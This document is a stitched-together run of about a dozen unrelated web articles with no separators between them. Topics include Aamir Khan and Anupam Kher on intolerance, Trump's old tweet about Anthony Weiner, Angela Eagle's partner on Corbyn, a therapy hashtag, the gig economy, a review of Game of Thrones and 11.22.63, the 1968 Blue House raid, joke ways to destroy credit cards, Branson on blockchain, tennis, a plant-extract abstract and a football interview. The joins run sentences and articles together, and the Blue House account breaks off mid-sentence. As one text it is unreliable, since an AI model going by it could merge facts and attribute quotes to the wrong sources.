While speaking at the Ramnath Goenka Excellence in Journalism Awards ceremony on Monday, Aamir had said, “As an individual, as part of this country as a citizen, we read in the papers what is happening, we see it on the news and certainly, I have been alarmed. I can’t deny. I have been alarmed by a number of incidents.”
Read: Wife suggested we leave India, Aamir on intolerance debate
The actor said he also felt that a sense of insecurity and fear has been growing in the past six or eight months. “When I chat with Kiran at home, she says ‘Should we move out of India?’ That’s a disastrous and big statement for Kiran to make. She fears for her child. She fears about what the atmosphere around us will be. She feels scared to open the newspapers every day.”
Dear @aamir_khan Presumed country has become #Intolerant. Wat do u suggest 2 millions of Indians? Leave India? Or wait till regime changes? — Anupam Kher (@AnupamPkher) November 23, 2015
Slamming Aamir for saying that he has thought about leaving India, Anupam wrote, “Dear @aamir_khan Presumed country has become #Intolerant. Wat do u suggest 2 millions of Indians? Leave India? Or wait till regime changes?”
Dear @aamir_khan Presumed country has become #Intolerant. Wat do u suggest 2 millions of Indians? Leave India? Or wait till regime changes? — Anupam Kher (@AnupamPkher) November 23, 2015
He also said that as the host of Satyamev Jayate, Aamir had spread hope and he needs to do that even in “intolerant” times, “Dear @aamir_khan. #SatyamevaJayate u talked about evil practices but gave Hope. So even in ‘Intolerant’ times u need 2 spread Hope not Fear.”
Dear @aamir_khan. #SatyamevaJayate u talked about evil practices but gave Hope. So even in ‘Intolerant’ times u need 2 spread Hope not Fear. — Anupam Kher (@AnupamPkher) November 23, 2015
First Published: Nov 24, 2015 09:59 ISTSeveral users now feel Trump's message applies to himself after 'grab them by the p***y' comments
Trump pointed out Weiner's attitude was unfit of a would-be mayor
Referred to Weiner's new sexting scandals, which derailed his campaign
Message dates back to 2013, when Weiner was running for mayor in NYC
Twitter users replying to a tweet in which Trump called Weiner a pervert
Donald Trump once called Anthony Weiner a pervert - and now Twitter users are using the insult against him.
Internet sleuths have dug up a 2013 tweet in which Trump called out the disgraced congressman.
Weiner, who had previously lost his Congress seat to a sexting scandal, was running for New York mayor at the time and was trying to launch his political career again. But his campaign was derailed when new explicit messages surfaced.
'As I told everyone once before, Wiener [sic] is a sick puppy who will never change-100% of perverts go back to their ways. Sadly, there is no cure,' Trump tweeted in 2013.
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Donald Trump called Anthony Weiner a pervert in a 2013 tweet (pictured) - and Twitter users are using the insult against him in light of the GOP nominee's newly-revealed comments
Internet sleuths have dug up a 2013 tweet in which Trump (right) called out the disgraced congressman. Weiner (left) was running for New York mayor at the time
Several users now feel Trump's message applies to himself after his 'grab them by the p***y' comments. This user responded to the 2013 tweet: 'Pot meet kettle'
A user told Trump in 2013 that nobody cared who Weiner sent 'pictures of his c**k' to'. Trump replied: 'Not when you are running for mayor!'
'Pot meet kettle,' one user tweeted after Trump was caught on tape saying stars could 'do anything' to women, including grabbing them 'by the pussy'.
A user told Trump in 2013 that nobody cared who Weiner sent 'pictures of his c**k' to'. Trump replied: 'Not when you are running for mayor!'
Another one told the GOP nominee in 2013: 'You would know.' In light of Trump's newly-revealed comments, a fellow Twitter user said: 'You certainly called this one.'
One of the latest tweets read: 'Finally a comment from @realDonaldTrump based on personal knowledge.'
Trump insisted multiple times during Sunday's presidential debate that his comments about grabbing women's genitals were 'locker-room' talk.
Senator John McCain and Vice-President Joe Biden have both referred to the actions he described as sexual assault.
Weiner meanwhile faced additional scandals since 2013. His wife Huma Abeddin left him after it was revealed he had sent a picture of his crotch with their son next to him.
An underage girl then told the DailyMail.com Weiner had exchanged explicit messages with her.
A Twitter user told the GOP nominee in 2013: 'You would know.' In light of Trump's newly-revealed comments, a fellow Twitter user said: 'You certainly called this one'Angela Eagle's civil partner celebrated her rival Jeremy Corbyn's election as Labour leader as a "new paradigm," it has emerged, after Ms Eagle launched her leadership challenge.
Maria Exall, a trade union activist, told the Workers' Liberty magazine she saw Mr Corbyn's leadership as "a massive opportunity to push forward socialist ideas in Britain" when he was elected in September, 2015.
Ms Exall has been in a relationship with Ms Eagle for 25 years and they became civil partners in 2008. She is branch secretary of the Communication Workers' Union and chair of the Trades Union Congress (TUC) LGBT committee.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
She made her comments about Mr Corbyn while speaking "in a personal capacity" with Solidarity, the Alliance for Workers' Liberty magazine, in October last year.
Shape Created with Sketch. Dave Brown on Jeremy Corbyn Show all 12 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Dave Brown on Jeremy Corbyn 1/12 2/12 3/12 4/12 5/12 Corbyn's reshuffle 6/12 Corbyn and the Syria bombing vote 7/12 Corbyn asks questions from the public at PMQs, meanwhile backbenchers plot to oust him 8/12 Corbyn is unavailable to attend the Privy Council 9/12 Conference rejects Corbyn’s call to debate Trident 10/12 At Labour conference Corbyn and McDonnell press for a Robin Hood tax 11/12 Corbyn’s hopes for a ‘new politics’ look optimistic in the face of a media barrage 12/12 Corbyn enters Labour leadership race 1/12 2/12 3/12 4/12 5/12 Corbyn's reshuffle 6/12 Corbyn and the Syria bombing vote 7/12 Corbyn asks questions from the public at PMQs, meanwhile backbenchers plot to oust him 8/12 Corbyn is unavailable to attend the Privy Council 9/12 Conference rejects Corbyn’s call to debate Trident 10/12 At Labour conference Corbyn and McDonnell press for a Robin Hood tax 11/12 Corbyn’s hopes for a ‘new politics’ look optimistic in the face of a media barrage 12/12 Corbyn enters Labour leadership race
Asked what factors led to Mr Corbyn being elected Labour leader, Ms Exall said: "It is a response to the Tory victory.
"Anyone who has half a socialist thought in their head will have been shocked by that, would have thought 'we are stuck with this lot for another five years, they are going to do so much damage to welfare, the unions'.
"What is exciting about it, especially as this includes a lot of young people, is people thinking how politics does matter. Jeremy’s campaign came along and they were inspired by the necessity of politics, at different levels."
When asked how she would summarise her thoughts and feelings about Mr Corbyn, she said: "I think it is a massive opportunity to push forward socialist ideas in Britain.
"And for the Labour Party to remake itself with a more pro-worker and grounded agenda on all the big issues about political economy, and trade union rights."
She added: "On the issue of Trident, while I support the abolition, it is a problem. You are picking a hard issue there. A bit similar to Republicanism.
"For rebuilding the Labour Party in the immediate term we have got to be clear that we have a leadership that fights for people in their workplaces and communities."
Ms Eagle, the former shadow Business Secretary, gained just one per cent of support in a previous poll of potential successors to Mr Corbyn.
She also faces the prospect of a no confidence vote from her own constituency Labour party when it meets next.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.Currently, the hashtag #WhyYouNeedTherapyInOneWord is trending on Twitter. From forums where people congregate to share strategies for combatting mental illness to essays that give a glimpse into the experience of those who have mental illness, I believe there is a strong capacity for internet communication to reduce stigma and help those in need. There is also a capacity to increase stigma, or trivialize these experiences. And sometimes a single online event can do both.
Therapy isn’t just for folks with a diagnosed mental illness. I’m a firm believer in therapy for everyone (who wants it), and I think it is invaluable to have a person in your life to whom you can tell anything without fear that they’ll spill the beans. Whether it’s your most deep-seated fears and regrets or trivial complaints about the rude co-worker in the cubicle next door, having a judgment-free zone—if you’re lucky enough to build that much trust with a therapist—can make the day-to-day burdens we carry feel infinitely lighter. Of course, not everyone has a positive experience with therapy, and getting a bad therapist can be traumatizing. But when you click—when it really works—it can change everything.
So yes, we should talk more about why we need therapy. Even when it seems relatively trivial. I have a stressful job, or my dog needs to be put down, or I’m going through a rough breakup—it’s not just severe mental illness that can be addressed through therapy, but a whole host of human experiences that make it a bit harder to get through the day.
So what happens when the Twitter zeitgeist tries to sum up their need for therapy in one word? Here are some of the answers:
Marriage
Life
Clintons
Jaws (with an image of a scene from Jaws)
Kids
Work
Squirrels
Abuse
Clowns
Traffic
Overthinking
Furbies
Rule Breaking
Depression
People
Deployment
Twitter
Life
Answers ranged from electoral politics to childhood traumas to diagnosed illnesses to goofy non sequiturs. Many of them are everyday experiences that are relatable, and can certainly contribute to poor mental health, but are quite obviously not reason enough in and of themselves to constitute a trip to the therapist. It would be difficult to fill a 45 minute session expressing your feelings about traffic or Twitter.
But even this statement should be treated with skepticism. What if you have experienced trauma from a serious car accident in which you lost a loved one? Or you’re experiencing severe and unending harassment on Twitter?
You might see where I’m going with this. Our need for mental health care can’t be summed up in one word, and even one-word responses that seem trivial reveal the truth about how stressful, unpredictable, and often unfulfilling modern life can be. For those suffering from illness or trauma that inhibits basic functioning, it may be either comforting or disturbing to see the range of responses that people contribute to this hashtag. For others, it may open their minds to the benefits of therapy for everyday struggles. Or, it may perpetuate stigma around mental illness as something people should just “get over,” something no more serious than a Friday morning traffic jam or an aggressive office squirrel.
What you take away from #WhyYouNeedTherapyInOneWord likely has more to do with your already-existing feelings about therapy and mental illness than the specific content of the hashtag. I can imagine myself reading through it a few years ago, when I was suffering greatly from my then untreated mental illness, and feeling deeply hurt that people seemed to be trivializing the issue. I can also imagine myself at other times finding solidarity with and admiration for people speaking openly about their struggle.
Today, I found it heartening to simply see people talking about therapy at all, and the light-heartedness of much of the tag reminds me that sometimes we can laugh at ourselves and the mundanity of daily life, with its myriad effects on wellness. I have certainly spent a couple of sessions with my therapist talking about the stress that Twitter introduces into my life. I recall a time when I finished a rant about an experience with a store clerk and said “Wow, that’s pretty silly, right?” Her response: “It’s your life. It’s not silly. When it comes down to it, most of our lives are a collection of small things. It’s still big.”
So the reasons we may need therapy cannot be summed up in one word. Or, maybe they can. It’s a word that shows up over and over on #WhyYouNeedTherapyInOneWord: Life. It’s the one thing that we all have in common, the one word general enough to sum up the millions of reasons that a person may have to reckon with their own mental wellness. For those lucky enough to have access to affordable mental health care, it can be life-changing. For those suffering alone, it can be an unattainable dream. Maybe our next hashtag can directly advocate for better, more affordable health care that we can all access. After all, life doesn’t seem to be going anywhere any time soon.
Britney is on Twitter.When is a job not a job? When is it a gig? When will all jobs be gigs? The gig economy spreads internationally like butter on toast. Ask Foodora, Roadie, Grubhub, Saucey or Favor, all delivery services with cutesy names and very few employees. Ask Deliveroo, invented in 2013 in London by an American investment banker and now operating in 140 cities in 12 countries.
Who's got his back? UberEATS making time along Toronto's Waterfront Trail. Consumers who only care about speed undercut the basis of a rewarding economy. ( Randy Risling / Toronto Star file photo )
Will Shu wanted food delivered when he worked late nights at Morgan Stanley, but London couldn’t live up to New York standards. Deliveroo! Shu raised nearly US$500 million from investors, as reported by The Guardian, a newspaper that regularly and politely asks readers for donations lest it have to build a paywall that shuts out poor readers, such as Deliveroo “riders.” People who worship the god of cheap will not buy journalism or cook food or go to a restaurant. They value speed above all. The gig economy chips away at other people’s benefits, pay, delivery charges. It works beautifully up to a point, when companies cut costs so hard that they find themselves sanding through wood. In small ways, jobs may increasingly resemble those of Deliveroo “independent suppliers.” The Guardian published a list on Wednesday of Deliveroo managers’ vocabulary dos and don’ts. The intent is to keep cyclists and drivers as “self-employed contractors,” not employees, so it can pay a pittance.
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According to Deliveroo, a courier is not a courier, but an “independent supplier.” He is not an “employee, worker, staff member or team member,” because he was not hired; he was onboarded at a “supply centre.” He works “with” Deliveroo, not for Deliveroo, as part of the “Roo community.” He doesn’t start a shift; he logs in. He doesn’t earn wages, salary or pay; he operates on a “fee-per-delivery payment system” that “allows [him] to earn more at busy times.” Deliveroo riders are fighting back, and may win because even Theresa May’s Conservative government sees it’s losing revenue here. Gig workers don’t earn much, don’t pay much tax and can buy very little. The government wants the self-employed to pay in, so that one day they’ll have pensions based on their employment history, which Deliveroo calls non-existent. If a gig walks like duck and quacks like a duck, it’s doing a duck’s job. But that will wreck Deliveroo because customers won’t pay more for food delivery.
Let’s extrapolate. A small fascinating story in the The Globe and Mail on Thursday reported that TD Bank was “requesting ad agencies to help TD avoid taxes on their fees” if they were bidding for the bank’s business. They were to redefine services in a way that would exempt the services from tax. After agencies contacted their industry association, TD backed off, saying the suggestion had been “poorly worded.” Indeed, it’s all in the wording.
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What if ad agencies were suddenly a guy on a bike and the bank was Deliveroo? At some point TD Bank may be on the bike and who knows who their Deliveroo will be. Morgan Stanley? It’s a brilliant system, if a miserable one, but at what point is government so diminished that the system crashes? We might become more like booming China, with a vast layer of poors to do the dirty gigs. I recall Peter Hessler’s story, in his 2011 book Country Driving: A Chinese Road Trip, of a hastily constructed factory in an isolated city far south of Shanghai. It made items that go unnoticed: bra components. Bra rings hold cups to vertical straps. Most bras have four steel rings and two underwires. In Boss Wang’s pop-up factory, the favoured hires were young uneducated country girls without job experience. “Girls have more patience” (and are paid less), Wang told Hessler. “Men are more trouble; they start fights or cause some other problem.... I want someone who can eat bitterness.” Hessler met Tao Yufeng, 15, who made underwires, a step up from rings, earning 1/20th of a U.S. penny for each set. She was so fast, she made 80 cents an hour, double the minimum wage, doing Deliveroo-style piecework. But weirdly, she was better off than a London Deliveroo rider. There was a minimum wage, her work was highly valued and she and Wang didn’t skate around words. Tao Yufeng was happily eating bitterness because it was better than starving in her village. She would eventually wreck her eyesight, but she was temporarily prospering. When we buy Chinese-made goods and order food by courier because it’s cheap, we’re behaving like little Deliveroos. But one day we — and our children — might have to become Tao Yufengs on a bike. So might the company we work for. Canadians worship the god of cheap, always have, and this is where we landed. Cheap clothing, fast food, free journalism, it all leads to a Deliveroo economy. We may like it, we may not. But we chose this. hmallick@thestar.caI am feeling rather guilty. For the past few months, for various reasons, I haven’t felt much like reading history or Dickens. Faced with a long, arid series of plane journeys on which I knew I would not sleep, and equipped with an e-reader, I shamefacedly uploaded some ‘good bad books’, as George Orwell once called them.
This expression is probably very unfair on the authors, involved, George R.R. Martin (‘Game of Thrones’) and Stephen King (’11.22.63’). I wish I had their imaginative sweep and their ability to keep me reading for hours on end. What’s bad about that?
Neither of them pretends to be Tolstoy, and (thank heaven) neither of them is in competition with Virginia Woolf either. But both have obviously read widely, know a great deal of history, and have an enviable skill with words.
Yet I still have a deep cultural prejudice against admitting to reading such things. I should probably get over it.
‘Game of Thrones’ (I have not seen, and do not plan to see, the TV version, which is bound to be far less spectacular and or interesting than the books) is clunkier than King’s book. George Martin’s American English idiom (see my previous posting) is too modern and bare to suit some of the scenes and characters in an epic which is set in a sort of Middle Ages, in a world quite like, but also very unlike, Europe and Asia.
But setting aside some moments of ‘he couldn’t possibly have said that!’, and passing lightly over Mr Martin’s rather deep and intricate interest in food, his generous use of certain four-letter words and his perhaps over-detailed descriptions of various forms of cruelty, the story so far is really rather good. The world he has invented, out of an enormous imagination is crucially, unChristian. Its various religions, which we learn about in a sideways fashion, often involve sacrifice. There’s even a semi-secret cult of assassins and suicide. The main faith has seven holy figures who seem to have something in common with the Graeco-Roman gods. But it also has no classical civilisation, equivalent to Greece and Rome, in its past.
But the merciless paganism of the pre-Islamic East, full of slaves, and dreadful deeds done under a cruel sun, still lives among the sinister, spectacular and terrifying cities of Martin’s East. These places are a tremendous achievement of imagination (I couldn’t help thinking that he had been influenced in this by the wonderful works of Mary Renault, whose evocation of the Classical world sometimes produces a similar feeling of visiting a planet where hope and kindness have yet to be discovered).
While to the north there lies a nameless menace among the deep, deep snows, which, as far as I have got in the story, has barely begun to awake.
The supernatural – real dragons, armies of the walking dead, necromancy and shape-shifting, play a sensibly small part in the story, which I am told is broadly modelled on the Wars of the Roses, between the Houses of Lancaster and York, in the English middle ages.
In fact the most terrible monsters are human, because what Martin is very good at describing is the shocking ruthlessness of naked power politics, unrestrained by law or God. He draws his characters cunningly, tempting the reader to misjudge them and showing them a wholly different aspect as events unfold.
I might add that he is unsparing in his description of the real cost of war, particularly to innocent people who have no power. And, as I said, I am impressed by the richness, originality and detail of Mr Martin’s imagination, which (I would guess) encompasses far more geography, genealogy, philosophy and history of his private world than he has shared with his readers).
What can it be compared with? Nothing that I know of. Tolkien is far more literary and poetic, and his work is written in an entirely different register. And ‘the Lord of the Rings’ can be read by children, which ‘Game of Thrones’ certainly cannot be and shouldn’t be. (Tolkien can also be read by adults, who, even if they first read him as children, will be surprised by how much they gain from going back to the book in later life).Above all, Tolkien seems to me to have a profound and positive moral aim, to warn against the worship of power.
Martin does this negatively. Is it intentional? I am not sure. By showing what people do when they are fighting for power, the lies they tell, the mercy they fail to show, the surprises they arrange; by showing that those characters we like most are often not very good at this, whereas the hateful succeed –and by describing the exercise of power and its consequences, he builds up an indictment of power as strong as any I have ever seen.
And by trying to describe a society which prays, and has a religious hierarchy, scriptures and beliefs – but is definitely not Christian – he makes the thoughtful reader wonder if this is a picture of a world that was never saved, and perhaps never will be. If this is so, then I think it is a) frightening and b) instructive.
I have never seen a review of these books in a major newspaper or magazine. (I can’t actually recall how I heard about ‘Game of Thrones’ or decided to try it). Perhaps I have missed the reviews, but I suppose the literary industry feels it is above such stuff. Maybe it is. But if so, it must fall to other people to discuss them, as they are read by many people and must influence the way in which they think.
Stephen King does not get reviewed much in the grander journals, either, though some American publications treat his work with a certain respect. He’s obviously a highly intelligent and thoughtful person, and his latest book (I have read very few of his works) is a beguiling piece of time travel.
His hero (a New England schoolteacher) is given the chance to go back in time to 1958 and undo a series of tragedies. The greatest of these is the assassination of John F. Kennedy on 22nd November 1963, the reason for the title.
Does he succeed? How? I won’t spoil it for you. But for me the most interesting feature of the work was King’s elaborate attempt to recreate the wholly different America of the end of the 1950s. King ( by no means a crusty conservative) almost (but not quite) portrays this period as, yes, a Golden Age – especially of trust, but also of food that tasted better, of money that was still worth something, of an economy where people still made things, and used the things they made in modest but comfortable lives.
There’s a particularly moving and telling part of the book where he heads south along the unmodernised highways of the time, which I recommend, not least because after some rather moving descriptions of a lost but recent past, at a Dixieland petrol station he follows the sign for the ‘colored’ lavatories, and finds a pathway, flanked with poison ivy, leading to a plank over a stream.
There you have it. You have the one. You have the other too, not to mention the endless smoking, the crude medical care and the filthy, polluted air in industrial districts, and some harsh, disturbing evocations of slum life in the suburbs of big southern cities. One American reviewer, Marian Kester Coombs in the excellent ‘American Conservative’ magazine for which I occasionally write, says King is quite wrong about swearing in pre-1963 America, which was far more taboo then that he seems to think. I suspect she is right.
Despite all this dark-side material, I get the impression that King was quite taken with the world he recreated, and was strongly tempted to stay there himself. Does his hero? You’ll have to read it to find out. A lot of people will read it. This book will have more impact on the way more people think than a whole pile of literary prizewinners. It should be taken more seriously, and more widely discussed, even if the book reviews are probably the wrong place. I’m not sorry I read it.Attempt by North Korean commandos to assassinate Park Chung-hee
The Blue House raid (also known in South Korea as the January 21 Incident) was an unsuccessful attempt by North Korean commandos to assassinate the South Korean president, Park Chung-hee, in his residence at the Blue House, on January 21, 1968.
Background [ edit ]
Park Chung-hee seized power in a 1961 coup d'état and ruled as a military strongman until his election and inauguration as the President of the Third Republic of South Korea in 1963. The attack at the Blue House took place in the context of the Korean DMZ Conflict (1966–69), which in turn was influenced by the Vietnam War.
Following the 1967 South Korean presidential election and the legislative election, the North Korean leadership concluded that Park Chung-hee's domestic opposition no longer constituted a serious challenge to his rule. On June 28 – July 3, the Central Committee of the Workers' Party of Korea held an extended plenum at which North Korean leader Kim Il-sung called on the cadres "to prepare to give assistance to the struggle of our South Korean brethren."[citation needed] In July 1967, a special squad of the recently established Unit 124 of the Korean People's Army (KPA) was entrusted with the task of assassinating Park. This decision was probably facilitated by the fact that in 1967, the Vietnam War entered a new stage of escalation, under which circumstances the U.S. military forces, preoccupied as they were with Vietnam, could not easily take retaliatory measures against North Korea. In 1965–1968, North Korea-North Vietnam relations were very close, and North Korea provided substantial military and economic assistance to North Vietnam. North Korean propaganda sought to depict the post-1966 commando raids as a South Korean guerrilla movement akin to the Viet Cong.[1]
Preparations [ edit ]
Thirty-one men were handpicked from the elite all-officer KPA Unit 124. This special operation commando unit trained for two years and spent their final 15 days rehearsing action on the objective in a full-scale mockup of the Blue House.[2]
These specially selected men were trained in infiltration and exfiltration techniques, weaponry, navigation, airborne operations, amphibious infiltration, hand-to-hand combat (with emphasis on knife fighting), and concealment.
As Kim Shin-jo, one of only two known survivors, "It made us fearless—no one would think to look for us in a graveyard."[citation needed] Their training was rigorous and often in adverse conditions, such as running at a speed of 13 km/h (8 mph) with 30 kg (66 pound) rucksacks over broken and unforgiving terrain, which sometimes resulted in injuries such as lost toes and feet from frostbite.
Raid [ edit ]
Infiltration [ edit ]
On January 16, 1968, Unit 124 left their garrison at Yonsan. On January 17, 1968, at 11 p.m., they infiltrated the DMZ by cutting through the fencing of the U.S. Army's 2nd Infantry Division's sector. By 2 |
by Lynnae at Being Frugal. 11 different personal finance blogs are participating in the effort and are writing a series called The Twelve Days of Christmas – Personal Finance style. You’ll find links to all of the other articles towards the bottom of this article.
On the 10th day of Christmas (PF style) my true love gave to me…
10 Creative ways to cut up your credit cards
Readers of Gather Little by Little know that I prefer a lifestyle without credit cards and that I’m a huge advocate of cutting up credit cards if you aren’t disciplined enough to use them wisely (like me). How do I define “disciplined”? You are disciplined if you pay off your balance monthly and have no credit card debt.
I debated writing a serious article, but instead decided to have a little fun. So to help inspire you to cut up your credit cards, here are 10 creative ways you can cut up your credit cards:
#10 – Scissors
This is probably the most popular but most boring way to cut up your credit cards. All you need is: well, a pair of sharp scissors and all of your credit cards. Cut along the length of the card. Cut it at least twice, once through the magnetic strip on the back and next through the account number. I also found these neat hand shredder’s which look like a good option as well, especially since the picture shows them being used on a Chase card!
#9 – Shredder
Next up is the paper shredder. This option causes a great deal more noise and is more fun than scissors. It’s nice to see that card shredded into small bits of plastic. Be careful though, not all shredders are made to shred plastic, so read the manual. Mine has a special slot just for credit cards and CDs further emphasizing this must be a popular option.
#8 – Hatchet or Ax
Using a sharp hatchet or ax is another option. This of course requires a little more strength and I would suggest you be outside. All you need is some like a log or stump to place the card(s) on and swing away!
#7 – Blow Torch
Nothing better than watching you credit card catch on fire and melt away. It’s a great way of “sticking it to d’man“. You’ll need something to hold the card. I’d suggest a small metal vice. Light the torch and burn away!
#6 – Chainsaw
Oh yeah, nothing like the sound of a chainsaw to put fear into the eyes of those pesky little credit cards. Tape or mount your credit card to a log or stump, hold the chainsaw correctly and let it rip. Now is that manly or what???
#5 – Blender
The blender will absolutely tear your credit card to itsy bitsy pieces. If you want to see the results before you do it, check out this video. The more cards you have, the better the effect! I love how they let their little boy put the cards in. We let our kids shred our cards in the shredder.
#4 – Sledge Hammer or Hammer
You know all of that built up frustration and anger you’ve had with yourself and the credit card companies? Now you can finally take it out on your card. Find a hard non-breakable surface and beat that credit card into smithereens. Give it a good whack for me!
#3 – Give it to your dog
Our golden retriever absolutely loves to tear apart plastic. So if your dog is anything like ours, turn your credit card into a chew toy. Not only will you dispose of your credit card, but your dog will have a blast. Just make sure he/or she doesn’t take off to the pet store with it.
#2 Hole puncher
You know as well as I do that credit card company has been taking one notch at a time out of your finances…sometimes even a big notch. Here’s your chance to notch them back. Turn that credit card into little dots and throw some confetti!
#1 Shoot it
Take your card down to the local shooting range, mount it on a target and have a blast. This is the ultimate way to dispose of your credit card and vent a little of that built up tension. For added effect, use a shot gun.
Disclaimer: Please use extreme caution when doing any of the above suggestions and you do them at your own risk…so be careful!
Read the rest of the days of Christmas Personal Finance style:
Did you enjoy this article? How would you like to receive all the latest Gather Little by Little articles delivered straight to your email inbox each and every morning? Signing up is easy, just enter your email below. You can unsubscribe at anytime! Enter your email address:Richard Branson: Blockchain Is an 'Economic Revolution'
Virgin Group founder and billionaire entrepreneur Sir Richard Branson is a huge supporter of blockchain technology. While talking to the press on October 3, Branson said the tech could bring an “economic revolution” to many nations worldwide.
Also read: A Decentralized Money Needs A Distributed Web for Maximum Freedom
Sir Richard Branson Praises Blockchain Land Registry
Bitcoin and blockchain technology is a keen interest for Sir Richard Branson. This week, Branson chatted with the media concerning blockchain technology’s many potentials.
To make his point, Branson referred to the recent partnership between Bitfury and Hernando de Soto, who are trialing a land titling distributed ledger platform.
Bitfury and the Peruvian economist aim to work with the Republic of Georgia’s National Agency of Public Registry. The project aims to deploy blockchain technology to create a better land titling system, with transparent and immutable attributes.
In developing countries, land titles are often manipulated, forged, and taken from their rightful owners. At the Virgin Disruptors event this week in London, Branson told attendees:
If you take somewhere like Egypt, 90 percent of people have got houses, they’ve got a garden, but they’ve got no piece of paper to show ownership of that — And without ownership of your property, it’s almost impossible to start a business or get a bank loan or anything.
Branson’s Blockchain Summits and Accepting Bitcoin for Space Flights
Branson has been supportive of blockchain development and the Bitcoin ecosystem for quite some time.
Over the past two years, the Virgin founder has held an annual “Blockchain Summit” on his private Necker Island. Industry leaders and innovators gather at Necker to discuss blockchain’s merits as an emerging technology. Several ongoing ideas and partnerships exist because of this event, most notably the Blockchain Alliance.
In regards to Bitcoin, Branson has praised the protocol regularly. When a Bloomberg reporter asked if he feels Bitcoin is a currency that will work, Branson said:
“Well, I think it is working. There may be other currencies like it that may be even better. But in the meantime, there’s a big industry around Bitcoin. — People have made fortunes off Bitcoin, some have lost money. It is volatile, but people make money off of volatility too.”
Branson also told Bloomberg his company has no problem accepting Bitcoin for flights to space on Virgin Galactic. The project has moved slowly but the ships are almost complete and test flights should start next year, Branson added.
Virgin Disruptors Talk Blockchain and Bitcoin Disruption
Speakers and attendees at the Virgin Disruptors event also discussed blockchain and Bitcoin. These included Blockchain.info’s CEO Peter Smith, Matt Wallaert of Microsoft Ventures, and Holly Ransom of Emergent Solutions. While chatting with guests, Branson said blockchain technology could create a “real economic revolution in these countries.”
There’s no doubt ideas like blockchain technology and Bitcoin are on executives’ and developers’ minds. With backing from influential businesspeople like Branson and his colleagues, these protocols come much closer to starting the revolution they promise.
What do you think about Sir Richard Branson’s recent statements? Let us know in the comments below.
Source: Yahoo Finance, Forbes, and Bloomberg
Images via Shutterstock, Pixabay, and Virgin.
Did you know Bitcoin.com is throwing a blockchain conference in London this year? Our premiere event, Blockchain: Money, features the biggest innovators and executives in the industry. The event also takes place in the beautiful surroundings of 155 Bishopsgate, London on November 6-7, 2016. Reserve your tickets today!The tennis world turns its eyes to the picturesque Monte-Carlo Country Club as the top players gear up for the 3rd ATP World Tour Masters 1000 tournament. It is also the 1st of the 3 Masters in the clay season. This would be the 111th Edition of the Monte-Carlo Masters tournament since its inception in 1897. This tournament marks the return of World No. 1 & World No.2 Andy Murray and Novak Djokovic respectively. Both had been out due to their elbow injuries after Indian Wells.
The tournament will not feature World No. 4 Roger Federer as he decided to rest for the clay season after a successful return to the tour after a 6 month injury layoff. Instead, he will prepare for the Roland Garros and the Grass Court season later in the season. However, there are plenty of things to look forward to in this year’s Monte-Carlo Rolex Masters. It would be interesting to see how both of them play after returning from injuries and the type of form both display.
Andy Murray didn’t have a great start to the year but would be one of the contenders here. He reached the semifinals here in 2016, losing to Rafael Nadal. He also reached the finals in Madrid & Roland Garros in 2016, losing to Novak Djokovic and beat him in the finals in Rome. Novak Djokovic is a 2-time winner here in Monte-Carlo. He also reached the finals in Rome in 2016 and won the Roland Garros and Madrid.
Rafael Nadal returns to his favourite surface and is surely one of the favourites. He had a great start to the 2017 season, reaching the finals of Australian Open and Miami Masters. Rafael Nadal is the defending Champion and also a 9 time record winner here in Monte-Carlo. Others in contention would be Stan Wawrinka, World No. 3 and 2014 Champion along with the likes of good clay court players such as Dominic Thiem and Jo-Wilfried Tsonga. It would be also interesting to see the younger players such as Alexander Zverev, Grigor Dimitrov and Lucas Pouille.
As the tournament starts next week it would be interesting to see if we see a new winner. There have been only 3 winners in the past 12 Editions- Rafael Nadal (9), Novak Djokovic (2) and Stan Wawrinka (1). The tournament starts the road to Roland Garros and would be interesting to see who takes the edge at the start of the clay season.Abstract
Apart from alkaloids, bioactive properties of Uncaria tomentosa L. have been attributed to its phenolic constituents. Although there are some reports concerning low-molecular-weight polyphenols in U. tomentosa, its polymeric phenolic composition has been scarcely studied. In this study, phenolic-rich extracts from leaves, stems, bark and wood (n = 14) of Uncaria tomentosa plants from several regions of Costa Rica were obtained and analysed in respect to their proanthocyanidin profile determined by a quadrupole-time-of-flight analyser (ESI-QTOF MS). Main structural characteristics found for U. tomentosa proanthocyanidins were: (a) monomer composition, including pure procyanidins (only composed of (epi)catechin units) and propelargonidins (only composed of (epi)afzelechin units) as well as mixed proanthocyanidins; and (b) degree of polymerization, from 3 up to 11 units. In addition, U. tomentosa phenolic extracts were found to exhibit reasonable antioxidant capacity (ORAC (Oxygen Radical Absorbance Capacity) values between 1.5 and 18.8 mmol TE/g) and antimicrobial activity against potential respiratory pathogens (minimum IC50 of 133 µg/mL). There were also found to be particularly cytotoxic to gastric adenocarcinoma AGS and colon adenocarcinoma SW620 cell lines. The results state the particularities of U. tomentosa proanthocyanidins and suggest the potential value of these extracts with prospective use as functional ingredients.DAVIE—Here’s the thing about Dolphins offensive tackle Sam Young: He’s one of the most affable, funny personalities in the locker room in casual conversation, but in interviews he’s extremely gifted at giving the emptiest, most boilerplate answers anyone’s ever heard.
When informed of that frustrating dynamic for reporters, he said thank you.
After much prodding and instigating, Young finally relented and told a few interesting stories after practice today:
You were born and raised in South Florida, then went to Notre Dame. What was your first winter like in Indiana?
“One of the first snowfalls, I was wearing flip-flops. That wasn’t fun. I went to a Notre Dame vs. Alabama basketball game, and it wasn’t that bad. But then I came out afterward and there was 4 inches of snow on the ground and I was in my flip-flops. I had to walk 10-15 minutes back to the dorm in that.”
I’m sure you wised up eventually.
“Yeah. I went to boat shoes after that.”
Classic winter wear.This is your fourth team in eight seasons. It sounds rough not knowing where you’re going to live year to year.
“Well, hold on. Think about that. It depends how you look at it. Some people love the idea of being born and raised in a town and never leaving. That’s what some people want to do. I love that I’ve been able to live in Indiana, Buffalo, Dallas, Jacksonville and here. I’ve gotten to live in a lot of cool places. I’m pretty content. I think it’s fun.”
I’ve seen you set up Ted Larsen’s gear in his locker so it would fall down on his head. When did you become a prankster?
“I’m not. That was a one-shot deal.”
So you just got Larsen that one time and that’s the only prank you’ve ever pulled.
“I hate that you’re assuming I would be such a prankster. I’m not creative enough.”
Is it difficult for you when you leave this locker room and have to go into the real world and act like an adult?
“So you’re saying I don’t act like an adult in here? There’s so much side shade being thrown here. Unbelievable.”
